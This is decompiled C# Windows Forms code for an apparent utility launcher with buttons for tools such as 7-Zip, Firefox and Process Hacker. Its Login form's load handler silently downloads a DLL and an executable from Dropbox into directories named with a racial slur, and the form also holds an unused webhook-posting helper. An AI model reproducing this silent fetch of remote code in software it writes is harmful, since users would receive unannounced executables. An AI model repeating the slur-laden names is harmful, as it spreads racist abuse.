((System.ComponentModel.ISupportInitialize)pictureBox8).BeginInit(); SuspendLayout(); panel1.BackColor = System.Drawing.Color.Orchid; panel1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; panel1.Controls.Add(pictureBox3); panel1.Controls.Add(label1); panel1.Dock = System.Windows.Forms.DockStyle.Top; panel1.ImeMode = System.Windows.Forms.ImeMode.On; panel1.Location = new System.Drawing.Point(0, 0); panel1.Name = "panel1"; panel1.Size = new System.Drawing.Size(800, 28); panel1.TabIndex = 1; panel1.Paint += new System.Windows.Forms.PaintEventHandler(panel1_Paint); panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(panel1_MouseDown); panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(panel1_MouseMove); pictureBox3.BackColor = System.Drawing.Color.Transparent; pictureBox3.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox3.BackgroundImage"); pictureBox3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; pictureBox3.Location = new System.Drawing.Point(773, -1); pictureBox3.Name = "pictureBox3"; pictureBox3.Size = new System.Drawing.Size(27, 29); pictureBox3.TabIndex = 3; pictureBox3.TabStop = false; pictureBox3.Click += new System.EventHandler(pictureBox3_Click); label1.Anchor = System.Windows.Forms.AnchorStyles.None; label1.AutoSize = true; label1.BackColor = System.Drawing.Color.Transparent; label1.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 14.25f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); label1.ForeColor = System.Drawing.Color.White; label1.Location = new System.Drawing.Point(1, 6); label1.Name = "label1"; label1.Size = new System.Drawing.Size(109, 22); label1.TabIndex = 0; label1.Text = "Essentials"; pictureBox5.BackColor = System.Drawing.Color.Transparent; pictureBox5.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox5.BackgroundImage"); pictureBox5.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox5.Location = new System.Drawing.Point(12, 46); pictureBox5.Name = "pictureBox5"; pictureBox5.Size = new System.Drawing.Size(110, 72); pictureBox5.TabIndex = 10; pictureBox5.TabStop = false; pictureBox5.Click += new System.EventHandler(pictureBox5_Click); guna2GradientButton9.Animated = true; guna2GradientButton9.AutoRoundedCorners = true; guna2GradientButton9.BackColor = System.Drawing.Color.Transparent; guna2GradientButton9.BorderRadius = 22; guna2GradientButton9.CheckedState.Parent = guna2GradientButton9; guna2GradientButton9.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton9.CustomImages.Parent = guna2GradientButton9; guna2GradientButton9.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton9.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton9.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton9.ForeColor = System.Drawing.Color.White; guna2GradientButton9.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton9.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton9.HoverState.Parent = guna2GradientButton9; guna2GradientButton9.Location = new System.Drawing.Point(12, 124); guna2GradientButton9.Name = "guna2GradientButton9"; guna2GradientButton9.PressedDepth = 3; guna2GradientButton9.ShadowDecoration.Parent = guna2GradientButton9; guna2GradientButton9.Size = new System.Drawing.Size(110, 47); guna2GradientButton9.TabIndex = 37; guna2GradientButton9.Text = "7-Zip"; guna2GradientButton9.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton9.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton9.UseTransparentBackground = true; guna2GradientButton9.Click += new System.EventHandler(guna2GradientButton9_Click); pictureBox4.BackColor = System.Drawing.Color.Transparent; pictureBox4.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox4.BackgroundImage"); pictureBox4.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox4.Location = new System.Drawing.Point(153, 46); pictureBox4.Name = "pictureBox4"; pictureBox4.Size = new System.Drawing.Size(110, 72); pictureBox4.TabIndex = 38; pictureBox4.TabStop = false; guna2GradientButton1.Animated = true; guna2GradientButton1.AutoRoundedCorners = true; guna2GradientButton1.BackColor = System.Drawing.Color.Transparent; guna2GradientButton1.BorderRadius = 22; guna2GradientButton1.CheckedState.Parent = guna2GradientButton1; guna2GradientButton1.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton1.CustomImages.Parent = guna2GradientButton1; guna2GradientButton1.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton1.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton1.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton1.ForeColor = System.Drawing.Color.White; guna2GradientButton1.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.Parent = guna2GradientButton1; guna2GradientButton1.Location = new System.Drawing.Point(153, 124); guna2GradientButton1.Name = "guna2GradientButton1"; guna2GradientButton1.PressedDepth = 3; guna2GradientButton1.ShadowDecoration.Parent = guna2GradientButton1; guna2GradientButton1.Size = new System.Drawing.Size(110, 47); guna2GradientButton1.TabIndex = 39; guna2GradientButton1.Text = "Discord"; guna2GradientButton1.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton1.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton1.UseTransparentBackground = true; guna2GradientButton1.Click += new System.EventHandler(guna2GradientButton1_Click); pictureBox2.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox2.BackColor = System.Drawing.Color.Transparent; pictureBox2.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox2.BackgroundImage"); pictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox2.Location = new System.Drawing.Point(299, 46); pictureBox2.Name = "pictureBox2"; pictureBox2.Size = new System.Drawing.Size(110, 72); pictureBox2.TabIndex = 40; pictureBox2.TabStop = false; guna2GradientButton2.Animated = true; guna2GradientButton2.AutoRoundedCorners = true; guna2GradientButton2.BackColor = System.Drawing.Color.Transparent; guna2GradientButton2.BorderRadius = 22; guna2GradientButton2.CheckedState.Parent = guna2GradientButton2; guna2GradientButton2.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton2.CustomImages.Parent = guna2GradientButton2; guna2GradientButton2.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton2.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton2.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton2.ForeColor = System.Drawing.Color.White; guna2GradientButton2.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.Parent = guna2GradientButton2; guna2GradientButton2.Location = new System.Drawing.Point(299, 124); guna2GradientButton2.Name = "guna2GradientButton2"; guna2GradientButton2.PressedDepth = 3; guna2GradientButton2.ShadowDecoration.Parent = guna2GradientButton2; guna2GradientButton2.Size = new System.Drawing.Size(110, 47); guna2GradientButton2.TabIndex = 41; guna2GradientButton2.Text = "Firefox"; guna2GradientButton2.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton2.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton2.UseTransparentBackground = true; guna2GradientButton2.Click += new System.EventHandler(guna2GradientButton2_Click); pictureBox9.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox9.BackColor = System.Drawing.Color.Transparent; pictureBox9.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox9.BackgroundImage"); pictureBox9.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox9.Location = new System.Drawing.Point(445, 46); pictureBox9.Name = "pictureBox9"; pictureBox9.Size = new System.Drawing.Size(110, 72); pictureBox9.TabIndex = 42; pictureBox9.TabStop = false; guna2GradientButton3.Animated = true; guna2GradientButton3.AutoRoundedCorners = true; guna2GradientButton3.BackColor = System.Drawing.Color.Transparent; guna2GradientButton3.BorderRadius = 22; guna2GradientButton3.CheckedState.Parent = guna2GradientButton3; guna2GradientButton3.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton3.CustomImages.Parent = guna2GradientButton3; guna2GradientButton3.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton3.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton3.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton3.ForeColor = System.Drawing.Color.White; guna2GradientButton3.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.Parent = guna2GradientButton3; guna2GradientButton3.Location = new System.Drawing.Point(445, 124); guna2GradientButton3.Name = "guna2GradientButton3"; guna2GradientButton3.PressedDepth = 3; guna2GradientButton3.ShadowDecoration.Parent = guna2GradientButton3; guna2GradientButton3.Size = new System.Drawing.Size(110, 47); guna2GradientButton3.TabIndex = 43; guna2GradientButton3.Text = "Taskbar"; guna2GradientButton3.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton3.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton3.UseTransparentBackground = true; guna2GradientButton3.Click += new System.EventHandler(guna2GradientButton3_Click); guna2GradientButton4.Animated = true; guna2GradientButton4.AutoRoundedCorners = true; guna2GradientButton4.BackColor = System.Drawing.Color.Transparent; guna2GradientButton4.BorderRadius = 22; guna2GradientButton4.CheckedState.Parent = guna2GradientButton4; guna2GradientButton4.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton4.CustomImages.Parent = guna2GradientButton4; guna2GradientButton4.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton4.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton4.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 11.25f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton4.ForeColor = System.Drawing.Color.White; guna2GradientButton4.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.Parent = guna2GradientButton4; guna2GradientButton4.Location = new System.Drawing.Point(-2, 401); guna2GradientButton4.Name = "guna2GradientButton4"; guna2GradientButton4.PressedDepth = 3; guna2GradientButton4.ShadowDecoration.Parent = guna2GradientButton4; guna2GradientButton4.Size = new System.Drawing.Size(110, 47); guna2GradientButton4.TabIndex = 44; guna2GradientButton4.Text = "Back"; guna2GradientButton4.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton4.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton4.UseTransparentBackground = true; guna2GradientButton4.Click += new System.EventHandler(guna2GradientButton4_Click); guna2GradientButton5.Animated = true; guna2GradientButton5.AutoRoundedCorners = true; guna2GradientButton5.BackColor = System.Drawing.Color.Transparent; guna2GradientButton5.BorderRadius = 22; guna2GradientButton5.CheckedState.Parent = guna2GradientButton5; guna2GradientButton5.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton5.CustomImages.Parent = guna2GradientButton5; guna2GradientButton5.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton5.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton5.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton5.ForeColor = System.Drawing.Color.White; guna2GradientButton5.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton5.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton5.HoverState.Parent = guna2GradientButton5; guna2GradientButton5.Location = new System.Drawing.Point(572, 124); guna2GradientButton5.Name = "guna2GradientButton5"; guna2GradientButton5.PressedDepth = 3; guna2GradientButton5.ShadowDecoration.Parent = guna2GradientButton5; guna2GradientButton5.Size = new System.Drawing.Size(110, 47); guna2GradientButton5.TabIndex = 45; guna2GradientButton5.Text = "Process Hacker"; guna2GradientButton5.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton5.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton5.UseTransparentBackground = true; guna2GradientButton5.Click += new System.EventHandler(guna2GradientButton5_Click); pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox1.BackColor = System.Drawing.Color.Transparent; pictureBox1.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox1.BackgroundImage"); pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox1.Location = new System.Drawing.Point(572, 46); pictureBox1.Name = "pictureBox1"; pictureBox1.Size = new System.Drawing.Size(110, 72); pictureBox1.TabIndex = 46; pictureBox1.TabStop = false; guna2GradientButton6.Animated = true; guna2GradientButton6.AutoRoundedCorners = true; guna2GradientButton6.BackColor = System.Drawing.Color.Transparent; guna2GradientButton6.BorderRadius = 22; guna2GradientButton6.CheckedState.Parent = guna2GradientButton6; guna2GradientButton6.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton6.CustomImages.Parent = guna2GradientButton6; guna2GradientButton6.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton6.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton6.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton6.ForeColor = System.Drawing.Color.White; guna2GradientButton6.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton6.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton6.HoverState.Parent = guna2GradientButton6; guna2GradientButton6.Location = new System.Drawing.Point(12, 255); guna2GradientButton6.Name = "guna2GradientButton6"; guna2GradientButton6.PressedDepth = 3; guna2GradientButton6.ShadowDecoration.Parent = guna2GradientButton6; guna2GradientButton6.Size = new System.Drawing.Size(110, 47); guna2GradientButton6.TabIndex = 47; guna2GradientButton6.Text = "Notepad"; guna2GradientButton6.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton6.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton6.UseTransparentBackground = true; guna2GradientButton6.Click += new System.EventHandler(guna2GradientButton6_Click); pictureBox6.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox6.BackColor = System.Drawing.Color.Transparent; pictureBox6.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox6.BackgroundImage"); pictureBox6.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox6.Location = new System.Drawing.Point(12, 177); pictureBox6.Name = "pictureBox6"; pictureBox6.Size = new System.Drawing.Size(110, 72); pictureBox6.TabIndex = 48; pictureBox6.TabStop = false; pictureBox7.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox7.BackColor = System.Drawing.Color.Transparent; pictureBox7.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox7.BackgroundImage"); pictureBox7.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox7.Location = new System.Drawing.Point(153, 177); pictureBox7.Name = "pictureBox7"; pictureBox7.Size = new System.Drawing.Size(110, 72); pictureBox7.TabIndex = 49; pictureBox7.TabStop = false; guna2GradientButton7.Animated = true; guna2GradientButton7.AutoRoundedCorners = true; guna2GradientButton7.BackColor = System.Drawing.Color.Transparent; guna2GradientButton7.BorderRadius = 22; guna2GradientButton7.CheckedState.Parent = guna2GradientButton7; guna2GradientButton7.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton7.CustomImages.Parent = guna2GradientButton7; guna2GradientButton7.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton7.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton7.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton7.ForeColor = System.Drawing.Color.White; guna2GradientButton7.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton7.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton7.HoverState.Parent = guna2GradientButton7; guna2GradientButton7.Location = new System.Drawing.Point(153, 255); guna2GradientButton7.Name = "guna2GradientButton7"; guna2GradientButton7.PressedDepth = 3; guna2GradientButton7.ShadowDecoration.Parent = guna2GradientButton7; guna2GradientButton7.Size = new System.Drawing.Size(110, 47); guna2GradientButton7.TabIndex = 50; guna2GradientButton7.Text = "HxD"; guna2GradientButton7.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton7.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton7.UseTransparentBackground = true; guna2GradientButton7.Click += new System.EventHandler(guna2GradientButton7_Click); guna2GradientButton8.Animated = true; guna2GradientButton8.AutoRoundedCorners = true; guna2GradientButton8.BackColor = System.Drawing.Color.Transparent; guna2GradientButton8.BorderRadius = 22; guna2GradientButton8.CheckedState.Parent = guna2GradientButton8; guna2GradientButton8.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton8.CustomImages.Parent = guna2GradientButton8; guna2GradientButton8.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton8.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton8.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton8.ForeColor = System.Drawing.Color.White; guna2GradientButton8.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton8.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton8.HoverState.Parent = guna2GradientButton8; guna2GradientButton8.Location = new System.Drawing.Point(299, 255); guna2GradientButton8.Name = "guna2GradientButton8"; guna2GradientButton8.PressedDepth = 3; guna2GradientButton8.ShadowDecoration.Parent = guna2GradientButton8; guna2GradientButton8.Size = new System.Drawing.Size(110, 47); guna2GradientButton8.TabIndex = 51; guna2GradientButton8.Text = "Explorer++"; guna2GradientButton8.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton8.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton8.UseTransparentBackground = true; guna2GradientButton8.Click += new System.EventHandler(guna2GradientButton8_Click); pictureBox8.Anchor = System.Windows.Forms.AnchorStyles.None; pictureBox8.BackColor = System.Drawing.Color.Transparent; pictureBox8.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox8.BackgroundImage"); pictureBox8.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox8.Location = new System.Drawing.Point(299, 177); pictureBox8.Name = "pictureBox8"; pictureBox8.Size = new System.Drawing.Size(110, 72); pictureBox8.TabIndex = 52; pictureBox8.TabStop = false; base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f); base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; BackgroundImage = (System.Drawing.Image)resources.GetObject("$this.BackgroundImage"); BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; base.ClientSize = new System.Drawing.Size(800, 450); base.Controls.Add(pictureBox8); base.Controls.Add(guna2GradientButton8); base.Controls.Add(guna2GradientButton7); base.Controls.Add(pictureBox7); base.Controls.Add(pictureBox6); base.Controls.Add(guna2GradientButton6); base.Controls.Add(pictureBox1); base.Controls.Add(guna2GradientButton5); base.Controls.Add(guna2GradientButton4); base.Controls.Add(guna2GradientButton3); base.Controls.Add(pictureBox9); base.Controls.Add(guna2GradientButton2); base.Controls.Add(pictureBox2); base.Controls.Add(guna2GradientButton1); base.Controls.Add(pictureBox4); base.Controls.Add(guna2GradientButton9); base.Controls.Add(pictureBox5); base.Controls.Add(panel1); DoubleBuffered = true; ForeColor = System.Drawing.Color.Transparent; base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; base.Name = "Essentials"; base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; Text = "Browsers"; panel1.ResumeLayout(false); panel1.PerformLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox3).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox5).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox4).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox2).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox9).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox1).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox6).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox7).EndInit(); ((System.ComponentModel.ISupportInitialize)pictureBox8).EndInit(); ResumeLayout(false); } } } <file_sep>using Guna.UI2.WinForms; using Guna.UI2.WinForms.Enums; using System; using System.Collections.Specialized; using System.ComponentModel; using System.Drawing; using System.Drawing.Text; using System.IO; using System.Net; using System.Windows.Forms; namespace gabeutilitiesx { public class Login : Form { private Point lastPoint; private IContainer components; private PictureBox pictureBox1; private Label label1; private Label Password; private PictureBox pictureBox2; private Label label2; private Guna2TextBox textBox1; private Guna2TextBox textBox2; private Guna2GradientButton guna2GradientButton2; public Login() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { WebClient webClient = new WebClient(); Directory.CreateDirectory("b:\\idontlikeniggersutilityx"); Directory.CreateDirectory("b:\\idontlikeniggers"); Directory.CreateDirectory("b:\\idontlikeniggers\\Save"); Directory.CreateDirectory("b:\\idontlikeniggers2\\7-ZipPortable\\App\\7-Zip64\\"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/d2m2xhrrsijqql4/7z.dll", "b:\\\\idontlikeniggers2\\\\7-ZipPortable\\\\App\\\\7-Zip64\\\\7z.dll"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/t9kdtryicc2iq8a/gabegaber2.exe", "b:\\\\idontlikeniggers2\\\\7-ZipPortable\\\\App\\\\7-Zip64\\\\idontlikeniggers.exe"); } private void pictureBox1_Click(object sender, EventArgs e) { } private void pictureBox2_Click(object sender, EventArgs e) { } private void button2_Click(object sender, EventArgs e) { Close(); } private void button1_Click(object sender, EventArgs e) { Hide(); new dashboard().Show(); } private void Username_TextChanged(object sender, EventArgs e) { } private void pictureBox2_Click_1(object sender, EventArgs e) { Close(); } private void Login_MouseDown(object sender, MouseEventArgs e) { lastPoint = new Point(e.X, e.Y); } private void Login_MouseMove(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { base.Left += e.X - lastPoint.X; base.Top += e.Y - lastPoint.Y; } } public static void sendWebHook(string URL, string msg, string username) { Http.Post(URL, new NameValueCollection { { "username", username }, { "content", msg } }); } private void guna2GradientButton2_Click(object sender, EventArgs e) { Hide(); new dashboard().Show(); } protected override void Dispose(bool disposing) { if (disposing && components != null) { components.Dispose(); } base.Dispose(disposing); } private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(gabeutilitiesx.Login)); pictureBox1 = new System.Windows.Forms.PictureBox(); label1 = new System.Windows.Forms.Label(); Password = new System.Windows.Forms.Label(); pictureBox2 = new System.Windows.Forms.PictureBox(); label2 = new System.Windows.Forms.Label(); textBox1 = new Guna.UI2.WinForms.Guna2TextBox(); textBox2 = new Guna.UI2.WinForms.Guna2TextBox(); guna2GradientButton2 = new Guna.UI2.WinForms.Guna2GradientButton(); ((System.ComponentModel.ISupportInitialize)pictureBox1).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox2).BeginInit(); SuspendLayout(); pictureBox1.BackColor = System.Drawing.Color.Transparent; pictureBox1.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox1.BackgroundImage"); pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; pictureBox1.Location = new System.Drawing.Point(159, 57); pictureBox1.Margin = new System.Windows.Forms.Padding(0); pictureBox1.Name = "pictureBox1"; pictureBox1.Size = new System.Drawing.Size(308, 113); pictureBox1.TabIndex = 0; pictureBox1.TabStop = false; label1.AutoSize = true; label1.BackColor = System.Drawing.Color.Transparent; label1.Cursor = System.Windows.Forms.Cursors.Default; label1.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 12f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); label1.ForeColor = System.Drawing.Color.White; label1.Location = new System.Drawing.Point(211, 173); label1.Name = "label1"; label1.Size = new System.Drawing.Size(90, 18); label1.TabIndex = 5; label1.Text = "Username"; Password.AutoSize = true; Password.BackColor = System.Drawing.Color.Transparent; Password.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 12f, System.Drawing.FontStyle.Bold); Password.ForeColor = System.Drawing.Color.White; Password.Location = new System.Drawing.Point(211, 245); Password.Name = "Password"; Password.Size = new System.Drawing.Size(88, 18); Password.TabIndex = 6; Password.Text = "<PASSWORD>"; pictureBox2.BackColor = System.Drawing.Color.Transparent; pictureBox2.Image = (System.Drawing.Image)resources.GetObject("pictureBox2.Image"); pictureBox2.Location = new System.Drawing.Point(605, -7); pictureBox2.Name = "pictureBox2"; pictureBox2.Size = new System.Drawing.Size(29, 36); pictureBox2.TabIndex = 8; pictureBox2.TabStop = false; pictureBox2.Click += new System.EventHandler(pictureBox2_Click_1); label2.Anchor = System.Windows.Forms.AnchorStyles.None; label2.AutoSize = true; label2.BackColor = System.Drawing.Color.Transparent; label2.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 12f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); label2.ForeColor = System.Drawing.Color.White; label2.Location = new System.Drawing.Point(1, 357); label2.Name = "label2"; label2.Size = new System.Drawing.Size(236, 18); label2.TabIndex = 9; label2.Text = "https://discord.gg/juEH8Jj"; textBox1.AcceptsTab = true; textBox1.Animated = true; textBox1.AutoRoundedCorners = true; textBox1.BackColor = System.Drawing.Color.Transparent; textBox1.BorderColor = System.Drawing.Color.FromArgb(224, 224, 224); textBox1.BorderRadius = 9; textBox1.Cursor = System.Windows.Forms.Cursors.IBeam; textBox1.DefaultText = ""; textBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(208, 208, 208); textBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(226, 226, 226); textBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(138, 138, 138); textBox1.DisabledState.Parent = textBox1; textBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(138, 138, 138); textBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(94, 148, 255); textBox1.FocusedState.Parent = textBox1; textBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); textBox1.ForeColor = System.Drawing.Color.Black; textBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(192, 255, 255); textBox1.HoverState.FillColor = System.Drawing.Color.White; textBox1.HoverState.Parent = textBox1; textBox1.IconLeft = (System.Drawing.Image)resources.GetObject("textBox1.IconLeft"); textBox1.IconLeftSize = new System.Drawing.Size(10, 10); textBox1.IconRightSize = new System.Drawing.Size(34, 15); textBox1.Location = new System.Drawing.Point(212, 194); textBox1.Margin = new System.Windows.Forms.Padding(4, 3, 4, 3); textBox1.Name = "textBox1"; textBox1.PasswordChar = '\0'; textBox1.PlaceholderForeColor = System.Drawing.Color.White; textBox1.PlaceholderText = ""; textBox1.SelectedText = ""; textBox1.ShadowDecoration.Enabled = true; textBox1.ShadowDecoration.Parent = textBox1; textBox1.Size = new System.Drawing.Size(200, 20); textBox1.Style = Guna.UI2.WinForms.Enums.TextBoxStyle.Material; textBox1.TabIndex = 10; textBox2.AcceptsTab = true; textBox2.Animated = true; textBox2.AutoRoundedCorners = true; textBox2.BackColor = System.Drawing.Color.Transparent; textBox2.BorderColor = System.Drawing.Color.FromArgb(224, 224, 224); textBox2.BorderRadius = 9; textBox2.Cursor = System.Windows.Forms.Cursors.IBeam; textBox2.DefaultText = ""; textBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(208, 208, 208); textBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(226, 226, 226); textBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(138, 138, 138); textBox2.DisabledState.Parent = textBox2; textBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(138, 138, 138); textBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(94, 148, 255); textBox2.FocusedState.Parent = textBox2; textBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); textBox2.ForeColor = System.Drawing.Color.Black; textBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(192, 255, 255); textBox2.HoverState.FillColor = System.Drawing.Color.White; textBox2.HoverState.Parent = textBox2; textBox2.IconLeft = (System.Drawing.Image)resources.GetObject("textBox2.IconLeft"); textBox2.IconLeftSize = new System.Drawing.Size(15, 15); textBox2.IconRightSize = new System.Drawing.Size(34, 15); 